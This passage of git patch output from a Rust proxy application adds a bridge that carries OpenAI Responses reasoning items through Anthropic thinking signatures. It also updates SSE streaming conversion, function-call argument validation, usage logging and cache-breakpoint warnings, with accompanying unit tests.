prepare_claude_usage_log(ctx, response, status.as_u16(), false) + }) { + // The upstream request already succeeded and consumed tokens. Persist + // usage before returning the terminal transform error to the client. + write_claude_usage_log(state, log).await; + } + } + return Err(error); + } + }; // 记录使用量 // 全 0 usage 不落账(对齐 Codex 流式收集器的 skip):SSE 聚合兜底救回的流 // 在上游缺 stream_options.include_usage 时没有 usage,写入只会产生无意义空行 - if let Some(usage) = - TokenUsage::from_claude_response(&anthropic_response).filter(|u| u.has_billable_tokens()) - { - // 转换后的响应缺失/合成空 model 时,回退到映射后的出站模型(接管真值), - // 再回退到客户端请求别名 - let model = anthropic_response - .get("model") - .and_then(|m| m.as_str()) - .filter(|m| !m.is_empty()) - .map(str::to_string) - .or_else(|| ctx.outbound_model.clone()) - .unwrap_or_else(|| ctx.request_model.clone()); - let latency_ms = ctx.latency_ms(); - - let request_model = ctx.request_model.clone(); - let outbound_model = ctx - .outbound_model - .clone() - .unwrap_or_else(|| ctx.request_model.clone()); - let app_type_str = ctx.app_type_str; - tokio::spawn({ - let state = state.clone(); - let provider_id = ctx.provider.id.clone(); - let session_id = ctx.session_id.clone(); - async move { - log_usage( - &state, - &provider_id, - app_type_str, - &model, - &request_model, - &outbound_model, - usage, - latency_ms, - None, - false, - status.as_u16(), - Some(session_id), - ) - .await; - } - }); - } + spawn_claude_usage_log(state, ctx, &anthropic_response, status.as_u16(), false); // 构建响应 let mut builder = axum::response::Response::builder().status(status); diff --git a/src-tauri/src/proxy/providers/mod.rs b/src-tauri/src/proxy/providers/mod.rs index 83535c538..2684da481 100644 --- a/src-tauri/src/proxy/providers/mod.rs +++ b/src-tauri/src/proxy/providers/mod.rs @@ -25,6 +25,7 @@ mod gemini; pub(crate) mod gemini_schema; pub mod gemini_shadow; pub mod models; +pub(crate) mod reasoning_bridge; pub mod streaming; pub mod streaming_codex_anthropic; pub mod streaming_codex_chat; diff --git a/src-tauri/src/proxy/providers/reasoning_bridge.rs b/src-tauri/src/proxy/providers/reasoning_bridge.rs new file mode 100644 index 000000000..690296a68 --- /dev/null +++ b/src-tauri/src/proxy/providers/reasoning_bridge.rs @@ -0,0 +1,131 @@ +//! Opaque reasoning transport helpers shared by the Messages ↔ Responses bridge. +//! +//! The Anthropic Messages protocol has no field for an OpenAI Responses +//! `reasoning` item. To keep stateless tool loops lossless, the complete item is +//! carried in a versioned thinking signature/redacted-thinking payload and +//! restored when the client replays the assistant message. + +use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine as _}; +use serde_json::{json, Value}; + +pub(crate) const OPENAI_REASONING_ITEM_PREFIX: &str = "ccswitch-openai-reasoning-v1:"; + +pub(crate) fn reasoning_summary_text(item: &Value) -> String { + item.get("summary") + .and_then(Value::as_array) + .into_iter() + .flatten() + .filter_map(|part| { + matches!( + part.get("type").and_then(Value::as_str), + Some("summary_text" | "reasoning_text") + ) + .then(|| part.get("text").and_then(Value::as_str)) + .flatten() + }) + .collect::>() + .join("") +} + +pub(crate) fn encode_openai_reasoning_item(item: &Value) -> Option { + if item.get("type").and_then(Value::as_str) != Some("reasoning") { + return None; + } + let bytes = serde_json::to_vec(item).ok()?; + Some(format!( + "{OPENAI_REASONING_ITEM_PREFIX}{}", + URL_SAFE_NO_PAD.encode(bytes) + )) +} + +pub(crate) fn decode_openai_reasoning_item(encoded: &str) -> Option { + let payload = encoded.strip_prefix(OPENAI_REASONING_ITEM_PREFIX)?; + let bytes = URL_SAFE_NO_PAD.decode(payload).ok()?; + let item: Value = serde_json::from_slice(&bytes).ok()?; + (item.get("type").and_then(Value::as_str) == Some("reasoning")).then_some(item) +} + +pub(crate) fn anthropic_block_from_openai_reasoning_item(item: &Value) -> Option { + if item.get("type").and_then(Value::as_str) != Some("reasoning") { + return None; + } + + let text = reasoning_summary_text(item); + let has_encrypted_content = item + .get("encrypted_content") + .and_then(Value::as_str) + .is_some_and(|value| !value.is_empty()); + + if has_encrypted_content { + let envelope = encode_openai_reasoning_item(item)?; + if text.is_empty() { + return Some(json!({ + "type": "redacted_thinking", + "data": envelope + })); + } + return Some(json!({ + "type": "thinking", + "thinking": text, + "signature": envelope + })); + } + + (!text.is_empty()).then(|| { + json!({ + "type": "thinking", + "thinking": text + }) + }) +} + +pub(crate) fn openai_reasoning_item_from_anthropic_block(block: &Value) -> Option { + match block.get("type").and_then(Value::as_str) { + Some("thinking") => block + .get("signature") + .and_then(Value::as_str) + .and_then(decode_openai_reasoning_item), + Some("redacted_thinking") => block + .get("data") + .and_then(Value::as_str) + .and_then(decode_openai_reasoning_item), + _ => None, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn openai_reasoning_item_round_trips_through_thinking_signature() { + let item = json!({ + "id": "rs_1", + "type": "reasoning", + "summary": [{"type": "summary_text", "text": "Need a tool."}], + "encrypted_content": "opaque" + }); + let block = anthropic_block_from_openai_reasoning_item(&item).unwrap(); + assert_eq!(block["type"], "thinking"); + assert_eq!( + openai_reasoning_item_from_anthropic_block(&block), + Some(item) + ); + } + + #[test] + fn encrypted_item_without_summary_uses_redacted_thinking() { + let item = json!({ + "id": "rs_2", + "type": "reasoning", + "summary": [], + "encrypted_content": "opaque" + }); + let block = anthropic_block_from_openai_reasoning_item(&item).unwrap(); + assert_eq!(block["type"], "redacted_thinking"); + assert_eq!( + openai_reasoning_item_from_anthropic_block(&block), + Some(item) + ); + } +} diff --git a/src-tauri/src/proxy/providers/streaming_responses.rs b/src-tauri/src/proxy/providers/streaming_responses.rs index 81615c2cf..976bd8457 100644 --- a/src-tauri/src/proxy/providers/streaming_responses.rs +++ b/src-tauri/src/proxy/providers/streaming_responses.rs @@ -8,6 +8,7 @@ //! //! 与 Chat Completions 的 delta chunk 模型完全不同,需要独立的状态机处理。 +use super::reasoning_bridge::{encode_openai_reasoning_item, reasoning_summary_text}; use super::transform_responses::{ build_anthropic_usage_from_responses, map_responses_stop_reason, sanitize_anthropic_tool_use_input_json, @@ -65,6 +66,20 @@ fn tool_item_key_from_event(data: &Value) -> Option { None } +#[inline] +fn reasoning_item_key(data: &Value, item: Option<&Value>) -> Option { + if let Some(item_id) = item + .and_then(|value| value.get("id")) + .and_then(Value::as_str) + .or_else(|| data.get("item_id").and_then(Value::as_str)) + { + return Some(format!("reasoning:{item_id}")); + } + data.get("output_index") + .and_then(Value::as_u64) + .map(|index| format!("reasoning:out:{index}")) +} + /// Resolve content index for a text/refusal content part event. /// /// Uses `content_part_key` to look up or assign a stable index, falling back to @@ -117,7 +132,12 @@ pub fn create_anthropic_sse_stream_from_responses = HashMap::new(); let mut tool_name_by_index: HashMap = HashMap::new(); let mut tool_args_by_index: HashMap = HashMap::new(); + let mut tool_had_delta: HashSet = HashSet::new(); let mut last_tool_index: Option = None; + let mut reasoning_index_by_item_id: HashMap = HashMap::new(); + let mut reasoning_item_by_index: HashMap = HashMap::new(); + let mut reasoning_text_by_index: HashMap = HashMap::new(); + let mut legacy_reasoning_index: Option = None; tokio::pin!(stream); @@ -440,6 +460,47 @@ pub fn create_anthropic_sse_stream_from_responses { + "response.reasoning_summary_text.delta" + | "response.reasoning_text.delta" + | "response.reasoning.delta" => { if let Some(delta) = data .get("delta") .or_else(|| data.get("text")) @@ -624,12 +713,35 @@ pub fn create_anthropic_sse_stream_from_responses { - let key = content_part_key(&data); - let index = if let Some(k) = key { - index_by_key.get(&k).copied() - } else { - fallback_open_index - }; - if let Some(index) = index { - if !open_indices.remove(&index) { - continue; - } - let event = json!({ - "type": "content_block_stop", - "index": index + "response.reasoning_summary_text.done" + | "response.reasoning_text.done" => { + let item_id = data.get("item_id").and_then(Value::as_str); + let item_key = reasoning_item_key(&data, None); + let index = item_id + .and_then(|id| reasoning_index_by_item_id.get(id).copied()) + .or_else(|| { + item_key + .as_ref() + .and_then(|key| index_by_key.get(key).copied()) + }) + .or_else(|| { + (item_id.is_none() && item_key.is_none()) + .then_some(legacy_reasoning_index) + .flatten() }); - let sse = format!("event: content_block_stop\ndata: {}\n\n", - serde_json::to_string(&event).unwrap_or_default()); - yield Ok(Bytes::from(sse)); - if fallback_open_index == Some(index) { - fallback_open_index = None; + if let Some(index) = index { + let already_emitted = reasoning_text_by_index + .get(&index) + .is_some_and(|value| !value.is_empty()); + if !already_emitted { + if let Some(text) = data + .get("text") + .and_then(Value::as_str) + .filter(|value| !value.is_empty()) + { + if !open_indices.contains(&index) { + let start_event = json!({ + "type": "content_block_start", + "index": index, + "content_block": {"type": "thinking", "thinking": ""} + }); + let start_sse = format!("event: content_block_start\ndata: {}\n\n", + serde_json::to_string(&start_event).unwrap_or_default()); + yield Ok(Bytes::from(start_sse)); + open_indices.insert(index); + } + reasoning_text_by_index + .entry(index) + .or_default() + .push_str(text); + let event = json!({ + "type": "content_block_delta", + "index": index, + "delta": {"type": "thinking_delta", "thinking": text} + }); + let sse = format!("event: content_block_delta\ndata: {}\n\n", + serde_json::to_string(&event).unwrap_or_default()); + yield Ok(Bytes::from(sse)); + } + } + } + } + + // Legacy gateways do not emit output_item.done, so retain the + // old close behavior for their non-standard done event. + "response.reasoning.done" => { + let item_id = data.get("item_id").and_then(Value::as_str); + let item_key = reasoning_item_key(&data, None); + let index = item_id + .and_then(|id| reasoning_index_by_item_id.get(id).copied()) + .or_else(|| { + item_key + .as_ref() + .and_then(|key| index_by_key.get(key).copied()) + }) + .or_else(|| { + (item_id.is_none() && item_key.is_none()) + .then_some(legacy_reasoning_index) + .flatten() + }); + if let Some(index) = index { + if open_indices.remove(&index) { + let event = json!({"type": "content_block_stop", "index": index}); + let sse = format!("event: content_block_stop\ndata: {}\n\n", + serde_json::to_string(&event).unwrap_or_default()); + yield Ok(Bytes::from(sse)); + } + if legacy_reasoning_index == Some(index) { + legacy_reasoning_index = None; } } } @@ -764,7 +943,170 @@ pub fn create_anthropic_sse_stream_from_responses { + let Some(item) = data.get("item") else { + continue; + }; + match item.get("type").and_then(Value::as_str) { + Some("function_call") => { + let item_id = item + .get("id") + .and_then(Value::as_str) + .or_else(|| data.get("item_id").and_then(Value::as_str)); + let index = item_id + .and_then(|id| tool_index_by_item_id.get(id).copied()) + .or_else(|| { + tool_item_key_from_event(&data) + .and_then(|key| index_by_key.get(&key).copied()) + }) + .or(last_tool_index); + if let Some(index) = index.filter(|value| open_indices.contains(value)) { + let name = tool_name_by_index + .get(&index) + .map(String::as_str) + .unwrap_or(""); + if !tool_had_delta.contains(&index) || name == "Read" { + let raw = item + .get("arguments") + .and_then(Value::as_str) + .filter(|value| !value.is_empty()) + .map(str::to_string) + .unwrap_or_else(|| { + tool_args_by_index + .get(&index) + .cloned() + .unwrap_or_default() + }); + let arguments = if name == "Read" { + sanitize_anthropic_tool_use_input_json(name, &raw) + } else { + raw + }; + if !arguments.is_empty() { + let event = json!({ + "type": "content_block_delta", + "index": index, + "delta": { + "type": "input_json_delta", + "partial_json": arguments + } + }); + let sse = format!("event: content_block_delta\ndata: {}\n\n", + serde_json::to_string(&event).unwrap_or_default()); + yield Ok(Bytes::from(sse)); + } + } + open_indices.remove(&index); + let event = json!({"type": "content_block_stop", "index": index}); + let sse = format!("event: content_block_stop\ndata: {}\n\n", + serde_json::to_string(&event).unwrap_or_default()); + yield Ok(Bytes::from(sse)); + if let Some(id) = item_id { + tool_index_by_item_id.remove(id); + } + tool_name_by_index.remove(&index); + tool_args_by_index.remove(&index); + tool_had_delta.remove(&index); + } + } + Some("reasoning") => { + let item_id = item + .get("id") + .and_then(Value::as_str) + .or_else(|| data.get("item_id").and_then(Value::as_str)); + let index = item_id + .and_then(|id| reasoning_index_by_item_id.get(id).copied()) + .or_else(|| { + reasoning_item_key(&data, Some(item)) + .and_then(|key| index_by_key.get(&key).copied()) + }) + .unwrap_or_else(|| { + let assigned = next_content_index; + next_content_index += 1; + assigned + }); + reasoning_item_by_index.insert(index, item.clone()); + + let final_item = reasoning_item_by_index + .get(&index) + .cloned() + .unwrap_or_else(|| item.clone()); + let full_text = reasoning_summary_text(&final_item); + let emitted_text = reasoning_text_by_index + .get(&index) + .cloned() + .unwrap_or_default(); + if emitted_text.is_empty() && !full_text.is_empty() { + let start_event = json!({ + "type": "content_block_start", + "index": index, + "content_block": {"type": "thinking", "thinking": ""} + }); + let start_sse = format!("event: content_block_start\ndata: {}\n\n", + serde_json::to_string(&start_event).unwrap_or_default()); + yield Ok(Bytes::from(start_sse)); + open_indices.insert(index); + let delta_event = json!({ + "type": "content_block_delta", + "index": index, + "delta": {"type": "thinking_delta", "thinking": full_text} + }); + let delta_sse = format!("event: content_block_delta\ndata: {}\n\n", + serde_json::to_string(&delta_event).unwrap_or_default()); + yield Ok(Bytes::from(delta_sse)); + } + + let encrypted = final_item + .get("encrypted_content") + .and_then(Value::as_str) + .is_some_and(|value| !value.is_empty()); + if encrypted { + if let Some(envelope) = encode_openai_reasoning_item(&final_item) { + if open_indices.contains(&index) { + let signature_event = json!({ + "type": "content_block_delta", + "index": index, + "delta": { + "type": "signature_delta", + "signature": envelope + } + }); + let signature_sse = format!("event: content_block_delta\ndata: {}\n\n", + serde_json::to_string(&signature_event).unwrap_or_default()); + yield Ok(Bytes::from(signature_sse)); + } else { + let start_event = json!({ + "type": "content_block_start", + "index": index, + "content_block": { + "type": "redacted_thinking", + "data": envelope + } + }); + let start_sse = format!("event: content_block_start\ndata: {}\n\n", + serde_json::to_string(&start_event).unwrap_or_default()); + yield Ok(Bytes::from(start_sse)); + open_indices.insert(index); + } + } + } + if open_indices.remove(&index) { + let stop_event = json!({"type": "content_block_stop", "index": index}); + let stop_sse = format!("event: content_block_stop\ndata: {}\n\n", + serde_json::to_string(&stop_event).unwrap_or_default()); + yield Ok(Bytes::from(stop_sse)); + } + if let Some(id) = item_id { + reasoning_index_by_item_id.remove(id); + } + reasoning_item_by_index.remove(&index); + reasoning_text_by_index.remove(&index); + } + _ => {} + } + } + "response.reasoning_summary_part.added" + | "response.reasoning_summary_part.done" | "response.in_progress" => {} // Any other unknown/future events — silently skip. @@ -1010,13 +1352,73 @@ mod tests { ); } + #[tokio::test] + async fn test_streaming_tool_done_arguments_fallback_without_deltas() { + let input = concat!( + "event: response.created\n", + "data: {\"type\":\"response.created\",\"response\":{\"id\":\"resp_done\",\"model\":\"gpt-5.6\"}}\n\n", + "event: response.output_item.added\n", + "data: {\"type\":\"response.output_item.added\",\"output_index\":0,\"item\":{\"id\":\"fc_done\",\"type\":\"function_call\",\"call_id\":\"call_done\",\"name\":\"lookup\",\"arguments\":\"\"}}\n\n", + "event: response.function_call_arguments.done\n", + "data: {\"type\":\"response.function_call_arguments.done\",\"item_id\":\"fc_done\",\"output_index\":0,\"item\":{\"id\":\"fc_done\",\"type\":\"function_call\",\"arguments\":\"{\\\"q\\\":\\\"rust\\\"}\"}}\n\n", + "event: response.completed\n", + "data: {\"type\":\"response.completed\",\"response\":{\"status\":\"completed\"}}\n\n" + ); + let upstream = stream::iter(vec![Ok::<_, std::io::Error>(Bytes::from(input))]); + let merged = create_anthropic_sse_stream_from_responses(upstream) + .collect::>() + .await + .into_iter() + .map(|chunk| String::from_utf8_lossy(chunk.unwrap().as_ref()).to_string()) + .collect::(); + + assert!(merged.contains("\"partial_json\":\"{\\\"q\\\":\\\"rust\\\"}\"")); + assert_eq!(merged.matches("event: content_block_stop").count(), 1); + } + + #[tokio::test] + async fn test_official_reasoning_events_emit_signature_before_stop() { + let input = concat!( + "event: response.created\n", + "data: {\"type\":\"response.created\",\"response\":{\"id\":\"resp_reason\",\"model\":\"gpt-5.6\"}}\n\n", + "event: response.output_item.added\n", + "data: {\"type\":\"response.output_item.added\",\"output_index\":0,\"item\":{\"id\":\"rs_1\",\"type\":\"reasoning\",\"summary\":[]}}\n\n", + "event: response.reasoning_summary_part.added\n", + "data: {\"type\":\"response.reasoning_summary_part.added\",\"item_id\":\"rs_1\",\"output_index\":0,\"summary_index\":0,\"part\":{\"type\":\"summary_text\",\"text\":\"\"}}\n\n", + "event: response.reasoning_summary_text.delta\n", + "data: {\"type\":\"response.reasoning_summary_text.delta\",\"item_id\":\"rs_1\",\"output_index\":0,\"summary_index\":0,\"delta\":\"Need a tool.\"}\n\n", + "event: response.reasoning_summary_text.done\n", + "data: {\"type\":\"response.reasoning_summary_text.done\",\"item_id\":\"rs_1\",\"output_index\":0,\"summary_index\":0,\"text\":\"Need a tool.\"}\n\n", + "event: response.output_item.done\n", + "data: {\"type\":\"response.output_item.done\",\"output_index\":0,\"item\":{\"id\":\"rs_1\",\"type\":\"reasoning\",\"summary\":[{\"type\":\"summary_text\",\"text\":\"Need a tool.\"}],\"encrypted_content\":\"opaque\"}}\n\n", + "event: response.completed\n", + "data: {\"type\":\"response.completed\",\"response\":{\"status\":\"completed\"}}\n\n" + ); + let upstream = stream::iter(vec![Ok::<_, std::io::Error>(Bytes::from(input))]); + let merged = create_anthropic_sse_stream_from_responses(upstream) + .collect::>() + .await + .into_iter() + .map(|chunk| String::from_utf8_lossy(chunk.unwrap().as_ref()).to_string()) + .collect::(); + + assert!(merged.contains("\"type\":\"thinking_delta\"")); + assert!(merged.contains("\"type\":\"signature_delta\"")); + let signature_position = merged.find("signature_delta").unwrap(); + let stop_position = merged.find("event: content_block_stop").unwrap(); + assert!(signature_position < stop_position); + assert!(!merged[stop_position..].contains("content_block_delta")); + } + #[tokio::test] async fn test_streaming_reasoning_delta_emits_thinking_blocks() { let input = concat!( "event: response.created\n", "data: {\"type\":\"response.created\",\"response\":{\"id\":\"resp_r\",\"model\":\"o3\",\"usage\":{\"input_tokens\":5,\"output_tokens\":0}}}\n\n", "event: response.reasoning.delta\n", - "data: {\"type\":\"response.reasoning.delta\",\"delta\":\"Let me think...\"}\n\n", + "data: {\"type\":\"response.reasoning.delta\",\"delta\":\"Let me \"}\n\n", + "event: response.reasoning.delta\n", + "data: {\"type\":\"response.reasoning.delta\",\"delta\":\"think...\"}\n\n", "event: response.reasoning.done\n", "data: {\"type\":\"response.reasoning.done\"}\n\n", "event: response.content_part.added\n", @@ -1049,8 +1451,9 @@ mod tests { "should emit thinking_delta" ); assert!( - merged.contains("\"thinking\":\"Let me think...\""), - "should contain thinking text" + merged.contains("\"thinking\":\"Let me \"") + && merged.contains("\"thinking\":\"think...\""), + "should contain both thinking deltas" ); assert!( merged.contains("\"type\":\"text_delta\""), @@ -1061,6 +1464,57 @@ mod tests { "should contain text delta" ); assert!(merged.contains("\"stop_reason\":\"end_turn\"")); + + let events: Vec = merged + .split("\n\n") + .filter_map(|block| { + block + .lines() + .find_map(|line| line.strip_prefix("data: ")) + .and_then(|data| serde_json::from_str(data).ok()) + }) + .collect(); + let thinking_starts: Vec<&Value> = events + .iter() + .filter(|event| { + event.get("type").and_then(Value::as_str) == Some("content_block_start") + && event.pointer("/content_block/type").and_then(Value::as_str) + == Some("thinking") + }) + .collect(); + assert_eq!( + thinking_starts.len(), + 1, + "keyless deltas must share one block" + ); + let thinking_index = thinking_starts[0] + .get("index") + .and_then(Value::as_u64) + .unwrap(); + let thinking_delta_indices: Vec = events + .iter() + .filter(|event| { + event.pointer("/delta/type").and_then(Value::as_str) == Some("thinking_delta") + }) + .filter_map(|event| event.get("index").and_then(Value::as_u64)) + .collect(); + assert_eq!(thinking_delta_indices, vec![thinking_index, thinking_index]); + + let stop_position = events + .iter() + .position(|event| { + event.get("type").and_then(Value::as_str) == Some("content_block_stop") + && event.get("index").and_then(Value::as_u64) == Some(thinking_index) + }) + .expect("legacy reasoning done must close the thinking block"); + let text_start_position = events + .iter() + .position(|event| { + event.get("type").and_then(Value::as_str) == Some("content_block_start") + && event.pointer("/content_block/type").and_then(Value::as_str) == Some("text") + }) + .expect("text block must start"); + assert!(stop_position < text_start_position); } #[tokio::test] diff --git a/src-tauri/src/proxy/providers/transform_responses.rs b/src-tauri/src/proxy/providers/transform_responses.rs index 0330d1481..c946a36fb 100644 --- a/src-tauri/src/proxy/providers/transform_responses.rs +++ b/src-tauri/src/proxy/providers/transform_responses.rs @@ -11,6 +11,10 @@ use crate::proxy::{error::ProxyError, json_canonical::canonical_json_string}; use serde_json::{json, Value}; +use super::reasoning_bridge::{ + anthropic_block_from_openai_reasoning_item, openai_reasoning_item_from_anthropic_block, +}; + pub(crate) fn sanitize_anthropic_tool_use_input(name: &str, input: Value) -> Value { if name != "Read" { return input; @@ -395,13 +399,15 @@ pub(crate) fn build_anthropic_usage_from_responses(usage: Option<&Value>) -> Val /// - user/assistant 的 text 内容 → 对应 role 的 message item /// - tool_use 从 assistant message 中"提升"为独立的 function_call item /// - tool_result 从 user message 中"提升"为独立的 function_call_output item -/// - thinking blocks → 丢弃 +/// - bridge-owned thinking blocks → restore the original Responses reasoning item +/// - unrelated native thinking blocks → 丢弃 fn convert_messages_to_input(messages: &[Value]) -> Result, ProxyError> { let mut input = Vec::new(); for msg in messages { let role = msg.get("role").and_then(|r| r.as_str()).unwrap_or("user"); let content = msg.get("content"); + let message_input_start = input.len(); match content { // 字符串内容 @@ -504,8 +510,19 @@ fn convert_messages_to_input(messages: &[Value]) -> Result, ProxyErro })); } - "thinking" => { - // 丢弃 thinking blocks(与 openai_chat 一致) + "thinking" | "redacted_thinking" => { + if let Some(reasoning_item) = + openai_reasoning_item_from_anthropic_block(block) + { + if !message_content.is_empty() { + input.push(json!({ + "role": role, + "content": message_content.clone() + })); + message_content.clear(); + } + input.push(reasoning_item); + } } _ => {} @@ -526,6 +543,26 @@ fn convert_messages_to_input(messages: &[Value]) -> Result, ProxyErro input.push(json!({ "role": role })); } } + + // A replayed reasoning item is only valid when the same assistant + // generation also contains a following message/function call item. + // Reasoning-only incomplete turns otherwise brick the next request with + // "reasoning item ... without its required following item". + if role == "assistant" { + let mut has_generated_follower = false; + for index in (message_input_start..input.len()).rev() { + let item_type = input[index].get("type").and_then(Value::as_str); + let is_assistant_message = + input[index].get("role").and_then(Value::as_str) == Some("assistant"); + if item_type == Some("reasoning") { + if !has_generated_follower { + input.remove(index); + } + } else if item_type == Some("function_call") || is_assistant_message { + has_generated_follower = true; + } + } + } } Ok(input) @@ -539,6 +576,7 @@ pub fn responses_to_anthropic(body: Value) -> Result { .ok_or_else(|| ProxyError::TransformError("No output in response".to_string()))?; let mut content = Vec::new(); + let response_completed = body.get("status").and_then(Value::as_str) == Some("completed"); let mut has_tool_use = false; for item in output { @@ -573,7 +611,42 @@ pub fn responses_to_anthropic(body: Value) -> Result { .get("arguments") .and_then(|a| a.as_str()) .unwrap_or("{}"); - let input: Value = serde_json::from_str(args_str).unwrap_or(json!({})); + let input: Value = if args_str.trim().is_empty() { + json!({}) + } else { + match serde_json::from_str(args_str) { + Ok(value) => value, + Err(error) if !response_completed => { + log::warn!( + "[Responses] Replacing incomplete function_call '{name}' arguments with an empty object: {error}" + ); + json!({}) + } + Err(error) => { + return Err(ProxyError::TransformError(format!( + "Invalid function_call arguments for '{name}': {error}" + ))) + } + } + }; + if !input.is_object() { + if !response_completed { + log::warn!( + "[Responses] Replacing incomplete function_call '{name}' non-object arguments with an empty object" + ); + content.push(json!({ + "type": "tool_use", + "id": call_id, + "name": name, + "input": {} + })); + has_tool_use = true; + continue; + } + return Err(ProxyError::TransformError(format!( + "Function call arguments for '{name}' must be a JSON object" + ))); + } let input = sanitize_anthropic_tool_use_input(name, input); content.push(json!({ @@ -586,26 +659,8 @@ pub fn responses_to_anthropic(body: Value) -> Result { } "reasoning" => { - // 映射 reasoning summary → thinking block - if let Some(summary) = item.get("summary").and_then(|s| s.as_array()) { - let thinking_text: String = summary - .iter() - .filter_map(|s| { - if s.get("type").and_then(|t| t.as_str()) == Some("summary_text") { - s.get("text").and_then(|t| t.as_str()) - } else { - None - } - }) - .collect::>() - .join(""); - - if !thinking_text.is_empty() { - content.push(json!({ - "type": "thinking", - "thinking": thinking_text - })); - } + if let Some(block) = anthropic_block_from_openai_reasoning_item(item) { + content.push(block); } } @@ -1007,6 +1062,65 @@ mod tests { assert_eq!(result["stop_reason"], "tool_use"); } + #[test] + fn test_completed_function_call_empty_arguments_normalizes_to_object() { + let input = json!({ + "id": "resp_empty_args", + "status": "completed", + "model": "gpt-5.6", + "output": [{ + "type": "function_call", + "call_id": "call_1", + "name": "ping", + "arguments": "" + }], + "usage": {"input_tokens": 10, "output_tokens": 2} + }); + let result = responses_to_anthropic(input).unwrap(); + assert_eq!(result["content"][0]["input"], json!({})); + } + + #[test] + fn test_incomplete_function_call_invalid_arguments_uses_empty_object() { + let input = json!({ + "id": "resp_partial_args", + "status": "incomplete", + "incomplete_details": {"reason": "max_output_tokens"}, + "model": "gpt-5.6", + "output": [{ + "type": "function_call", + "call_id": "call_1", + "name": "dangerous_tool", + "arguments": "{\"path\":" + }], + "usage": {"input_tokens": 10, "output_tokens": 2} + }); + let result = responses_to_anthropic(input).unwrap(); + assert_eq!(result["content"][0]["type"], "tool_use"); + assert_eq!(result["content"][0]["input"], json!({})); + assert_eq!(result["stop_reason"], "max_tokens"); + } + + #[test] + fn test_completed_function_call_invalid_arguments_is_error() { + let input = json!({ + "id": "resp_bad_args", + "status": "completed", + "model": "gpt-5.6", + "output": [{ + "type": "function_call", + "call_id": "call_1", + "name": "broken_tool", + "arguments": "{\"path\":" + }], + "usage": {"input_tokens": 10, "output_tokens": 2} + }); + assert!(matches!( + responses_to_anthropic(input), + Err(ProxyError::TransformError(_)) + )); + } + #[test] fn test_responses_to_anthropic_read_drops_empty_pages() { let input = json!({ @@ -1112,6 +1226,73 @@ mod tests { assert_eq!(result["content"][1]["text"], "The answer is 42"); } + #[test] + fn test_encrypted_reasoning_round_trips_through_anthropic_history() { + let original = json!({ + "type": "reasoning", + "id": "rs_123", + "summary": [{"type": "summary_text", "text": "Need a tool."}], + "encrypted_content": "opaque-ciphertext" + }); + let response = json!({ + "id": "resp_123", + "status": "completed", + "model": "gpt-5.6", + "output": [original.clone()], + "usage": {"input_tokens": 10, "output_tokens": 2} + }); + + let anthropic = responses_to_anthropic(response).unwrap(); + let thinking = anthropic["content"][0].clone(); + assert_eq!(thinking["type"], "thinking"); + assert!(thinking["signature"] + .as_str() + .is_some_and(|value| value.starts_with("ccswitch-openai-reasoning-v1:"))); + + let replay = anthropic_to_responses( + json!({ + "model": "gpt-5.6", + "messages": [{"role": "assistant", "content": [ + thinking, + {"type": "tool_use", "id": "call_1", "name": "lookup", "input": {}} + ]}] + }), + None, + true, + false, + ) + .unwrap(); + assert_eq!(replay["input"][0], original); + assert_eq!(replay["input"][1]["type"], "function_call"); + } + + #[test] + fn test_reasoning_only_assistant_turn_is_not_replayed() { + let item = json!({ + "type": "reasoning", + "id": "rs_orphan", + "summary": [], + "encrypted_content": "opaque" + }); + let block = anthropic_block_from_openai_reasoning_item(&item).unwrap(); + let replay = anthropic_to_responses( + json!({ + "model": "gpt-5.6", + "messages": [ + {"role": "assistant", "content": [block]}, + {"role": "user", "content": "continue"} + ] + }), + None, + true, + false, + ) + .unwrap(); + + assert_eq!(replay["input"].as_array().unwrap().len(), 1); + assert_eq!(replay["input"][0]["role"], "user"); + } + #[test] fn test_responses_to_anthropic_incomplete_status() { let input = json!({ From 0e563b50c508bd50638642909ecce6b632e32953 Mon Sep 17 00:00:00 2001 From: Jason Date: Sat, 11 Jul 2026 12:28:02 +0800 Subject: [PATCH 54/73] fix(cache): surface unsupported breakpoint counts Warn when caller-provided cache breakpoints already exceed the supported total of four while preserving the original markers and upgrading their TTLs. Clarify that automatic injection is governed by the remaining breakpoint budget, and add regression coverage proving excess caller markers are never deleted or reordered. --- src-tauri/src/proxy/cache_injector.rs | 35 +++++++++++++++++++++++++++ src-tauri/src/proxy/forwarder.rs | 2 +- 2 files changed, 36 insertions(+), 1 deletion(-) diff --git a/src-tauri/src/proxy/cache_injector.rs b/src-tauri/src/proxy/cache_injector.rs index e2b0464ad..a6bf8c9c9 100644 --- a/src-tauri/src/proxy/cache_injector.rs +++ b/src-tauri/src/proxy/cache_injector.rs @@ -13,6 +13,15 @@ pub fn inject(body: &mut Value, config: &OptimizerConfig) { let existing = count_existing(body); + if existing > 4 { + // Existing markers are caller-owned. Do not silently delete or reorder + // them; surface the invalid/unsupported total and leave validation to + // the upstream provider. + log::warn!( + "[OPT] cache: existing breakpoint count {existing} exceeds the supported total of 4; preserving caller input" + ); + } + // 升级已有断点的 TTL upgrade_existing_ttl(body, &config.cache_ttl); @@ -288,6 +297,32 @@ mod tests { .is_some()); } + #[test] + fn test_more_than_four_existing_breakpoints_are_preserved() { + let mut body = json!({ + "model": "test", + "tools": [ + {"name": "t1", "cache_control": {"type": "ephemeral"}}, + {"name": "t2", "cache_control": {"type": "ephemeral"}} + ], + "system": [ + {"type": "text", "text": "s1", "cache_control": {"type": "ephemeral"}}, + {"type": "text", "text": "s2", "cache_control": {"type": "ephemeral"}} + ], + "messages": [{"role": "user", "content": [ + {"type": "text", "text": "m1", "cache_control": {"type": "ephemeral"}}, + {"type": "text", "text": "m2"} + ]}] + }); + + inject(&mut body, &default_config()); + + assert_eq!(count_existing(&body), 5); + assert!(body["messages"][0]["content"][1] + .get("cache_control") + .is_none()); + } + #[test] fn test_system_string_converted_to_array() { let mut body = json!({ diff --git a/src-tauri/src/proxy/forwarder.rs b/src-tauri/src/proxy/forwarder.rs index ab6ab134e..5d62fed39 100644 --- a/src-tauri/src/proxy/forwarder.rs +++ b/src-tauri/src/proxy/forwarder.rs @@ -1450,7 +1450,7 @@ impl RequestForwarder { // configured TTL rather than silently forcing 5m on this conversion path. // otherwise system/tools/history are re-sent at full price every round, // inflating cost and first-token latency. The injector handles the - // string→array `system` conversion and the 4-breakpoint cap. + // string→array `system` conversion and the new-breakpoint budget. super::cache_injector::inject( &mut anthropic_body, &super::types::OptimizerConfig { From a078b4b20798c789ecac0fc7fb17ba4c067a7e13 Mon Sep 17 00:00:00 2001 From: 